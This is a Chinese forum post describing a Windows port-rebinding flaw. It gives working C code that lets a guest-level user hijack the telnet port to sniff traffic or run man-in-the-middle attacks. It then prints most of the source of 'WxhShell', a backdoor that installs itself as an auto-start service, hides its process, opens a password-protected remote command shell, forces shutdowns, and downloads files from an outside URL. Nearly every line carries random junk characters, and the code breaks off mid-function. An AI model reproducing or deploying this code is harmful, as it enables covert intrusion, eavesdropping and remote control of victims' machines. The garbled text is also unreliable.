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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ktfxb <%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n4{?Odrf  
{I0!q"sF  
  saddr.sin_family = AF_INET; &.2% p  
5G'2 Wby'#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); a(fiW%eFb  
}+`,AC`RM  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Q: -&  
46 0/eW\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 gGCr~.5  
wO!>kc<  
  这意味着什么?意味着可以进行如下的攻击: hEo$Jz`  
]==7P;_-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 K ~-V([tWg  
)!VJ\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $ SA @ "  
f$}g'r zl  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 KMfIp:~  
4Hyp]07  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  p;o"i_!  
]YZ_kc^(V;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ZBU<L+#  
s H'FqV,)  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8* m,#   
z\, lPwB2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ! B`  
hqHk,#  
  #include >#S}J LZ  
  #include d5 ]-{+V+  
  #include .8'uIA{_2  
  #include    V$$9Rh  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Ai 8+U)  
  int main() w0=/V[fs  
  { 2C"i2/NH'  
  WORD wVersionRequested; ~k@{b&  
  DWORD ret; *<{hLf  
  WSADATA wsaData; &Nr+- $  
  BOOL val; 1p/_U?H:|  
  SOCKADDR_IN saddr; d"3x11|  
  SOCKADDR_IN scaddr; $*XTX?,'  
  int err; S:g6z'e1  
  SOCKET s; L1k  
  SOCKET sc; l%i*.b(  
  int caddsize; ?a, `{1m0\  
  HANDLE mt; ?)Gb=   
  DWORD tid;   Om7 '_}  
  wVersionRequested = MAKEWORD( 2, 2 ); GX.a!XQ@!  
  err = WSAStartup( wVersionRequested, &wsaData ); (Cti,g~  
  if ( err != 0 ) { ]-heG'y]{  
  printf("error!WSAStartup failed!\n"); (yT&&_zY4  
  return -1; 9zBt a  
  } g[ @Q iy  
  saddr.sin_family = AF_INET; D 7thLqA  
   ei]Q<vT6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 VJr~h "[  
wB[ JFy"E  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); mH<|.7~0  
  saddr.sin_port = htons(23); 4/SltWU  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E.*wNah"U  
  { V^ ;l g[:  
  printf("error!socket failed!\n"); 'wBOnGi6  
  return -1; =b6G' O[  
  } 7<8'7<X  
  val = TRUE; ^MhMYA  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 B/~ubw  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Gh3f^PWnc  
  { $b_~  
  printf("error!setsockopt failed!\n"); U+ D#  
  return -1; V+|$H h8  
  } ]P^ 3uXi  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9CIQRc  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Vd) %qw  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 cqb6]  
hJ4 A5m.  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) u!VrMH  
  { 3][   
  ret=GetLastError(); us:v/WTQ  
  printf("error!bind failed!\n"); op&j4R  
  return -1; S!R (ae^}  
  } `X =[ m>  
  listen(s,2); s9u7zqCF  
  while(1) >k}Kf1I  
  { }g2l ni  
  caddsize = sizeof(scaddr); G" (ck4  
  //接受连接请求 *li5/=UC5*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +&1#ob"6lq  
  if(sc!=INVALID_SOCKET) -)ri,v{:c  
  { .b2%n;_>.  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 'Ze& LQ  
  if(mt==NULL) bg|=)sw4  
  { \w$e|[~  
  printf("Thread Creat Failed!\n"); !83 N#Y_Mz  
  break; UrS%t>6k  
  } WL\*g] K4  
  } ej(w{vl  
  CloseHandle(mt); vL;=qk TCQ  
  } z3fU|*_c  
  closesocket(s); TPZ^hL>ao  
  WSACleanup(); @]],H0  
  return 0; LA,G>#?H  
  }   ef:Zi_o   
  DWORD WINAPI ClientThread(LPVOID lpParam) bde6 ;=oM  
  { ab_EH}j1\q  
  SOCKET ss = (SOCKET)lpParam; TfNm0=|  
  SOCKET sc; \AD|;tA\vE  
  unsigned char buf[4096]; "[ >ql1t{b  
  SOCKADDR_IN saddr; z8PV&o  
  long num; <2w 41QZX  
  DWORD val; \#'m([<e  
  DWORD ret; s:sk`~2<gd  
  //如果是隐藏端口应用的话,可以在此处加一些判断 4}^\&K&t{  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   w 1O)  
  saddr.sin_family = AF_INET; YtT:\#D  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); m8v=pab e  
  saddr.sin_port = htons(23); $0;Dk,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) VZU@G)rd  
  { pH.&OW%  
  printf("error!socket failed!\n"); f{R/rb&iB  
  return -1; L?hWH0^3  
  } }RkD7  
  val = 100; x#tP)5n?s*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &PEw8: TX  
  { eJZt&|7N  
  ret = GetLastError(); )G$0:-J-  
  return -1; M7AUY#)  
  } ::k/hP9.^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sHMZ'9b  
  { H|B4.z  
  ret = GetLastError(); :YN,cId*  
  return -1; %R*-oQ1T  
  } yLCJSN$7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 9jt+PII  
  { ^@xn3zJ  
  printf("error!socket connect failed!\n"); 7Dx <Sr!  
  closesocket(sc); Q-f?7*>  
  closesocket(ss); Gn?<~8a  
  return -1; z_ia3k<  
  } >z69r0)>  
  while(1) cpBTi  
  { !W45X}/o  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 l0{R`G,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 k /lDE  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 UxVxnJ_  
  num = recv(ss,buf,4096,0); +S}/ 6dg  
  if(num>0) ^y&sKO  
  send(sc,buf,num,0); 1bJrEXHXy  
  else if(num==0) #ZpR.$`k  
  break; 7-MkfWH2b6  
  num = recv(sc,buf,4096,0); x-=qlg&EI  
  if(num>0) dy2<b+ ..  
  send(ss,buf,num,0); SH M@H93  
  else if(num==0) $r= tOD4;  
  break; /%T d(  
  } .t|B6n!  
  closesocket(ss); VpmD1YSn  
  closesocket(sc); G>c:+`KS  
  return 0 ; ,hXhcfFl  
  } Ln5g"g8gb%  
#x5?RHX56  
5KDN8pJN  
========================================================== "\M^jO  
S -KHot ?  
下边附上一个代码,,WXhSHELL p v*n.U6  
$n@B:kv5p  
========================================================== L)j<;{J/Q0  
MFm2p?zPm  
#include "stdafx.h" <ULydBom  
'z3I*[!  
#include <stdio.h> ^N:bT;;$nZ  
#include <string.h> Q !G^CG  
#include <windows.h> 6'1m3<G_  
#include <winsock2.h> XhG3Of-6  
#include <winsvc.h> B1Cu?k);.  
#include <urlmon.h> l|&DI]gw  
*.F4?i2D  
#pragma comment (lib, "Ws2_32.lib") use` y^c  
#pragma comment (lib, "urlmon.lib") ptEChoZ6  
h1.<\GO  
#define MAX_USER   100 // 最大客户端连接数 #=\nuT'oy  
#define BUF_SOCK   200 // sock buffer /#I~iYPe  
#define KEY_BUFF   255 // 输入 buffer t bEJyA  
3Ja1|;(2  
#define REBOOT     0   // 重启 &x<y4ORH|  
#define SHUTDOWN   1   // 关机 &F#K=R| .j  
x C+TO  
#define DEF_PORT   5000 // 监听端口 i-*ZW:  
|KLCO'x  
#define REG_LEN     16   // 注册表键长度 E+e:UBeUV  
#define SVC_LEN     80   // NT服务名长度 _Kf8,|+  
v)J(@>CZ[  
// 从dll定义API \t^h|<`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M|xs>+r*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2Bg0 M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y ]6kA5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `PApmS~} .  
Vmf !0-  
// wxhshell配置信息 ]ovb!X_  
struct WSCFG { hO] vy>i;  
  int ws_port;         // 监听端口 s'Wu \r'  
  char ws_passstr[REG_LEN]; // 口令 M"Q{lR  
  int ws_autoins;       // 安装标记, 1=yes 0=no ];8S<KiS~  
  char ws_regname[REG_LEN]; // 注册表键名 .DG`~Fpk  
  char ws_svcname[REG_LEN]; // 服务名 UY$Lqe~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7F@#6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 tzV^.QWm  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9B<aYp)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no KoKd.%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 38l 8n.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kx31g,cf]w  
;dVYR=l  
}; FEwPLViso  
;"Q.c#pA$g  
// default Wxhshell configuration oK#UEn  
struct WSCFG wscfg={DEF_PORT, f*46,` x  
    "xuhuanlingzhe", %UokR"  
    1, 1E]TH/JK  
    "Wxhshell", * faG0le  
    "Wxhshell", <Po$|$_~  
            "WxhShell Service", ATscP hk  
    "Wrsky Windows CmdShell Service", c1aIZ  
    "Please Input Your Password: ", :ExCGS[  
  1, C 5 xsh  
  "http://www.wrsky.com/wxhshell.exe", {7Q)2NC  
  "Wxhshell.exe" b:t|9 FE%  
    }; j;SK{Oq  
,A9_xdv5  
// 消息定义模块 ' >R?8Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x,:DL)$1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5~GH*!h%;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,zVS}!jRhy  
char *msg_ws_ext="\n\rExit."; ]m<z  
char *msg_ws_end="\n\rQuit."; >&%#`PKT  
char *msg_ws_boot="\n\rReboot..."; VtnVl`/]  
char *msg_ws_poff="\n\rShutdown..."; PJ3M,2H1b.  
char *msg_ws_down="\n\rSave to "; '4"c#kCKL  
S-%itrB*  
char *msg_ws_err="\n\rErr!"; &\ $~  
char *msg_ws_ok="\n\rOK!"; )wyC8`&-  
-"uOh,G}  
char ExeFile[MAX_PATH]; *r(Qy0(  
int nUser = 0; {U"=}j(  
HANDLE handles[MAX_USER]; d`9ofw~3=  
int OsIsNt; z,xGjS P  
:Fh#"<A&&  
SERVICE_STATUS       serviceStatus; l#bE_PD;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; BHNEP |=  
MmQ"z_v  
// 函数声明 7 F> a&r  
int Install(void); K;j0cxl  
int Uninstall(void); 45A|KaVpg  
int DownloadFile(char *sURL, SOCKET wsh); gJBw6'Z  
int Boot(int flag); v+(-\T\i  
void HideProc(void); pPsT,i?  
int GetOsVer(void); I_\?wSNGM  
int Wxhshell(SOCKET wsl); =M9;`EmC  
void TalkWithClient(void *cs); A"i $.dR{  
int CmdShell(SOCKET sock); ZgA+$}U)uW  
int StartFromService(void); .oH)eD  
int StartWxhshell(LPSTR lpCmdLine); .OcI.1H[  
*b8AN3!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,{2= nb[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4t,f$zk  
_qa9wK/  
// 数据结构和表定义 Z;~7L*|  
SERVICE_TABLE_ENTRY DispatchTable[] = S\L^ZH?[2  
{ :Lu 9w0>f  
{wscfg.ws_svcname, NTServiceMain}, _lrvK99  
{NULL, NULL} &oxHVZJ  
}; ~$d(@T&  
N$N 7aE$  
// 自我安装 %E2V$l0  
int Install(void) d.$0X/0  
{ Q8D#kAYw  
  char svExeFile[MAX_PATH]; oy\U\#k   
  HKEY key; unc8WXW  
  strcpy(svExeFile,ExeFile); L<k(stx~  
RA1K$D ?A  
// 如果是win9x系统,修改注册表设为自启动 RQYD#4|  
if(!OsIsNt) { BU.O[?@64  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :!yPR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~s*kuj'%+  
  RegCloseKey(key); {t!Pv 2y<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qs {wrem  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >|aVGY  
  RegCloseKey(key); KAg-M#  
  return 0; 9AJ"C7  
    } _N:GZLG  
  } UM2yv6:/  
} =[,EFkU?B  
else { MdhD "Q  
Q zp!)i  
// 如果是NT以上系统,安装为系统服务 RQ;w$I\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $Y M(NC  
if (schSCManager!=0) C#n.hgo>I  
{ tMH 2  
  SC_HANDLE schService = CreateService xnxNc5$oE  
  ( @,m 7%,  
  schSCManager, B#r"|x#[  
  wscfg.ws_svcname, $8}'h  
  wscfg.ws_svcdisp, gg/2R?O]  
  SERVICE_ALL_ACCESS, :.u2^*<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G=er0(7<  
  SERVICE_AUTO_START, RFPcH8-u7  
  SERVICE_ERROR_NORMAL, Vsr"W@k_  
  svExeFile, fJ=v?  
  NULL, QXW> }GdKZ  
  NULL, qOv`&%txW  
  NULL, Nq1YFI>W  
  NULL, ,P%i%YPj  
  NULL hP}-yW6]  
  ); 5zOC zm  
  if (schService!=0) mt~E&Z(A  
  { E24j(>   
  CloseServiceHandle(schService); 4~Y?*|G]m  
  CloseServiceHandle(schSCManager); '61>.u:2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "U/yq  
  strcat(svExeFile,wscfg.ws_svcname); Nw{Cu+AwG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { iJ`zWpj+{Q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); />wE[`  
  RegCloseKey(key); gC(@]%  
  return 0; i*r ag0Mw  
    } b=5ZfhIg[  
  } N:;z~`  
  CloseServiceHandle(schSCManager); .03Rp5+v  
} tUt_Q;%yC  
} p3>Md?e  
D#A6s32a  
return 1; TKQ^D  
} J9MAnYd)i  
Ym.{ {^=  
// 自我卸载 {eVv%sbq  
int Uninstall(void) `O5427Im  
{ -@ra~li,yQ  
  HKEY key; ^7a@?|,q8  
k136n#KN1  
if(!OsIsNt) { Ri\\Yb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f!H/X%F  
  RegDeleteValue(key,wscfg.ws_regname); H%>^_:h  
  RegCloseKey(key); Lrmhr3 w5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `"o{MaFA  
  RegDeleteValue(key,wscfg.ws_regname); virt[5w  
  RegCloseKey(key); (\'$$  
  return 0; zp5ZZcj_  
  } ZL:SJ,C  
} 6AoKuT;  
} IJVzF1vC  
else { [] el4.J,  
lF t^dl^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xz, o Mlw  
if (schSCManager!=0) m>RtKCtP  
{ `X)A$lLr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [b_qC'K[  
  if (schService!=0) o+.ySSBl+  
  { `F]  
  if(DeleteService(schService)!=0) { Te`@{>  
  CloseServiceHandle(schService); e ^,IZ{  
  CloseServiceHandle(schSCManager); |QD#Dx1_  
  return 0; ; +.cD  
  } c3 )jsf  
  CloseServiceHandle(schService); iXq*EZb"R  
  } *Q)-"]O(k  
  CloseServiceHandle(schSCManager); %'X~9Pvi  
} r*dNta<  
} hiEYIx  
mkhWbzD'S  
return 1; _8!x  
} 0X4)=sJP  
3y,2RernK  
// 从指定url下载文件 IMBjI#\  
int DownloadFile(char *sURL, SOCKET wsh) R1/c@HQw?  
{ =XK}eQ_d  
  HRESULT hr; | KY-kRN7  
char seps[]= "/"; <LzxnTx=  
char *token; t2YB(6w+xg  
char *file; gVe]?Jva`  
char myURL[MAX_PATH]; E-($Xc  
char myFILE[MAX_PATH]; T "hjL  
wph8ln"C-  
strcpy(myURL,sURL); ;mRZ_^V;  
  token=strtok(myURL,seps); oe|8  
  while(token!=NULL) b(CO7/e>  
  { xcn~KF8  
    file=token; jD%|@ux  
  token=strtok(NULL,seps); \<\H1;=.@'  
  } &]GR*a  
*X{7m]5  
GetCurrentDirectory(MAX_PATH,myFILE); IsShAi  
strcat(myFILE, "\\"); TZ `Ypi7r  
strcat(myFILE, file); 1up p E|  
  send(wsh,myFILE,strlen(myFILE),0); 2W`WOBz  
send(wsh,"...",3,0); Xs# _AX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); JWYe~  
  if(hr==S_OK) cy)-Rfg  
return 0; ![nL/  
else S;jD@j\t&  
return 1; tv`b##  
l($ 8H AJ  
} R\XS5HOE(  
P3n#s2o6y  
// 系统电源模块 ) <{u oH  
int Boot(int flag) e&*b{>1*  
{ tW94\3)1  
  HANDLE hToken; O9E:QN<U`*  
  TOKEN_PRIVILEGES tkp; LokH4A17U  
J3~%9MCJ  
  if(OsIsNt) { aSu^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LnKgT1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Aj=GekX{  
    tkp.PrivilegeCount = 1; !h|,wq]k  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,Q3OQ[Nmh  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); MBU|<tc  
if(flag==REBOOT) { Qe\vx1GRLH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *W 2)!C|  
  return 0; 4(VV@:_%  
} ExSM=  
else { F\^8k/0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) SDV#p];u  
  return 0; LMx/0  
} $v[mIR  
  } S89j:KRXH%  
  else { ,|3_@tUl  
if(flag==REBOOT) { ?o$ t{AQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OzD\* ,{7  
  return 0; W h)  
} U\B9Ab  
else { _P!b0x~\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ('Qq"cn#  
  return 0; 'S9o!hb'@  
} f6yj\qq]  
} cm_5,wB(w  
&P>& T  
return 1; !02y'JS1  
} hc[J,yG  
'|Bk}pl7  
// win9x进程隐藏模块 :Yn.Wv-  
void HideProc(void) 6i~|<vcSP  
{ dNNXMQ0"  
m;\nMdn  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jf`w8*R  
  if ( hKernel != NULL ) =}kISh  
  { mXyN{`q=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U;4i&=.!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "uT2 DY[  
    FreeLibrary(hKernel); h@\-]zN{  
  } +])<}S!M  
yYYP;N?g4k  
return; ib#rT{e  
} }e/vKW fT  
`4snTM!v&  
// 获取操作系统版本 @&`^#pok  
int GetOsVer(void) O ylUuYy~j  
{ yj#FO'UY  
  OSVERSIONINFO winfo; ZS4dW_*[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yo->mD  
  GetVersionEx(&winfo); k}qQG}hB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Knqv|jJVx1  
  return 1; JVkuSIR>  
  else j5" L  
  return 0; dsx<ZwZN>  
} .?5 ~zK  
036m\7+Qj  
// 客户端句柄模块 5,s@K>9l;  
int Wxhshell(SOCKET wsl) F-rhxJd  
{ ]&"ii  
  SOCKET wsh; :wXiz`VH  
  struct sockaddr_in client; #::+# G  
  DWORD myID; 6H: fg  
,b -  
  while(nUser<MAX_USER) Anu:  
{ 3@\/5I xn  
  int nSize=sizeof(client); e)B1)c8s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B>>_t2IU  
  if(wsh==INVALID_SOCKET) return 1; `|>]P"9yp  
Hzm_o>^KC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); NfPWcK [  
if(handles[nUser]==0) MD;Z UAX<  
  closesocket(wsh); fh3uo\`@  
else XPqGv=CN  
  nUser++; =v?P7;T  
  } VgIk'.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H`fJ< So?  
} % Ie  
  return 0; 89^g$ ac  
} pTG[F  
^.iRU'{  
// 关闭 socket RV_I&HD!  
void CloseIt(SOCKET wsh) 2( 0%{*m  
{ 1E / G+pm  
closesocket(wsh); J.Xh P_aT  
nUser--; <uB)u>3   
ExitThread(0); }DM W,+3  
} gBh X=2%  
zJW2F_  
// 客户端请求句柄 >AX_"Q~  
void TalkWithClient(void *cs) ZCj1Cz]"l<  
{ SyI~iW#Y1  
Qt {){uE  
  SOCKET wsh=(SOCKET)cs; bAH<h   
  char pwd[SVC_LEN]; YcX"Z~O6j=  
  char cmd[KEY_BUFF]; TMY. z  
char chr[1]; 95~bM;T Vr  
int i,j; )Cj1VjAg  
M0xhcU_  
  while (nUser < MAX_USER) { G.<0^q,  
LYL_Ah'=  
if(wscfg.ws_passstr) { XZ]ji9'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yOQae m^O  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gAorb\iJ  
  //ZeroMemory(pwd,KEY_BUFF); Z;a)P.l.>  
      i=0; F7O*%y.';  
  while(i<SVC_LEN) { 9%|skTgIqH  
^ '|y^t  
  // 设置超时 LH_H yP_  
  fd_set FdRead; |[iO./ zP  
  struct timeval TimeOut; 3%(r,AD  
  FD_ZERO(&FdRead); /"st sF  
  FD_SET(wsh,&FdRead); jQm~F` z  
  TimeOut.tv_sec=8; >Rt:8uurAG  
  TimeOut.tv_usec=0; }=R0AKz!Cv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :{)uD ;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i"iy 0 ?  
K/Yeh<_&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ![ce }  
  pwd=chr[0]; y[.lfW?)  
  if(chr[0]==0xd || chr[0]==0xa) { I*Dj@f`  
  pwd=0; As>Og  
  break; 8CRbo24"s  
  } [zN*P$U]  
  i++; us?q^>u  
    } DoFe:+_U3  
Z]Ud x  
  // 如果是非法用户,关闭 socket PVF :p7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B*O/>=_  
} ~<<32t'S:  
y `FZ 0FI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q njK<}M9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [Z2[Iy  
mMXDzAllB  
while(1) { ]zyT_}&  
AN:s%w2  
  ZeroMemory(cmd,KEY_BUFF); f/8&-L  
@]#[TbNo  
      // 自动支持客户端 telnet标准   'D`lVUB  
  j=0; qGV(p}$O  
  while(j<KEY_BUFF) { B,_K mHItd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E_A5KLP  
  cmd[j]=chr[0]; AEnkx!o  
  if(chr[0]==0xa || chr[0]==0xd) { KG(FA  
  cmd[j]=0; VT4 >6u}  
  break; E"p _!!1  
  } H/M]YUs/3  
  j++; tlD^"eq4:  
    } 5<`83; R9  
]U'zy+  
  // 下载文件 s?m_zJh  
  if(strstr(cmd,"http://")) { C4ktCN  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qonStIP  
  if(DownloadFile(cmd,wsh)) uwI"V|g%a&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $rk=#;6]v;  
  else !ck~4~J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :TP4f ?FA  
  } +{=U!}3|  
  else { $eT[`r  
./3/3& 6  
    switch(cmd[0]) { (?'vT %  
  (_FeX22+  
  // 帮助 RAu(FJ  
  case '?': { '[8w8,v(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @<$m`^H  
    break; v)O].Hd  
  } W0mvwYON[  
  // 安装 h(AL\9{=}  
  case 'i': { R"HV|Dm|m  
    if(Install()) @8m%*pBg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =to.Oa RR  
    else p|nPu*R-\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "{E%Y*  
    break; +924_,zF  
    } "2-D[rYZ  
  // 卸载 MtPdpm6\  
  case 'r': { l x5.50mI  
    if(Uninstall()) 7_Te-i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z?qLn6y1W  
    else 1>\V>g9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |ITCw$T  
    break; ^Tj{}<yT  
    } 4zhh **]B  
  // 显示 wxhshell 所在路径 eB9&HD:  
  case 'p': { zBq&/?  
    char svExeFile[MAX_PATH]; A7#nBHwxZ  
    strcpy(svExeFile,"\n\r"); Y=Ic<WHR  
      strcat(svExeFile,ExeFile); ^fO9oPM|  
        send(wsh,svExeFile,strlen(svExeFile),0); KwaxNb5  
    break; T zS?WYF  
    } ,d lq2  
  // 重启 i9qIaG/  
  case 'b': {  9S9j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YW~ 9N  
    if(Boot(REBOOT)) N<4 nb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1'p=yHw  
    else { vpT\ CjXHZ  
    closesocket(wsh); tN)t`1_j  
    ExitThread(0); ^+d]'$  
    } XefmC6X  
    break; guf&V}&  
    } ;<T,W[3J  
  // 关机 Mr4,?Z&`-d  
  case 'd': { =vF!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +3XaAk  
